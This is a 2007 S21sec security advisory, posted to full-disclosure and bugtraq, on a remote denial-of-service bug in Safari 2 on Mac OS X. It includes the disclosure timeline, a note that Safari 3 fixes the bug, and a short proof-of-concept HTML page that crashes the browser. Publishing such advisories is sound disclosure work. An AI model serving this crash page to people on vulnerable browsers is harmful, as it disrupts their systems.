Safari 2 Denial of Service

From: S21sec labs <s21seclabs@s21sec.com>
To: full-disclosure@lists.grok.org.uk,bugtraq@securityfocus.com
Cc:
Subject: Safari 2 Denial of Service
Date:


##############################################################

                     - S21Sec Advisory -

##############################################################

    Title:  Safari 2 Denial of Service
       ID:  S21SEC-039-en
 Severity:  Medium - Remote DoS
  History:  15.Jul.2007 Vulnerability discovered
            22.Jul.2007 Vendor contacted
            27.Jul.2007 Vendor confirmed the vulnerability
            26.Oct.2007 Safari 3 in Leopard
            14.Nov.2007 Safari 3 in Tiger

    Scope:  Remote Denial of Service
Platforms:  MacOSX
   Author:  David Barroso (dbarroso@s21sec.com)
      URL:  http://www.s21sec.com/avisos/s21sec-039-en.txt
  Release:  Public


[ SUMMARY ]

According to Wikipedia, Safari is a web browser developed by Apple Inc.
and included in Mac OS X.
It was first released as a public beta on January 7, 2003, as the default
browser in Mac OS X v10.3. A beta version for Microsoft Windows was
released for the first time on June 11, 2007 with support for Windows XP
and Windows Vista


[ AFFECTED VERSIONS ]

Following versions are affected with this issue:

    - Safari Version 2 (MacOSX Version)


[ DESCRIPTION ]

A crafted HTML page can make Safari crash when trying to parse the page
due to an unproper validation in the KHTML Webkit.
Example:

<html>
<head>
<title>Safari Exploit</title>
</head>
<body>

<form>
<div id="foo" style="display:none;">
<table>
<tr>
<td></td>
</tr>
</table>
</div>
<input type="text" />
</form>
</body>
</html>

[ WORKAROUND ]

The vulnerability was patched in Safari 3, officially released on October,
2007 (Leopard) and November, 2007 (Tiger).


[ ACKNOWLEDGMENTS ]

This vulnerability have been found and researched by:

    - David Barroso <dbarroso@s21sec.com> S21sec labs


[ REFERENCES ]

* Wikipedia. Safari
  http://en.wikipedia.org/wiki/Safari_%28web_browser%29

* Safari
  http://www.apple.com/safari/

* S21Sec
  http://www.s21sec.com

* Blog S21sec
  http://blog.s21sec.com





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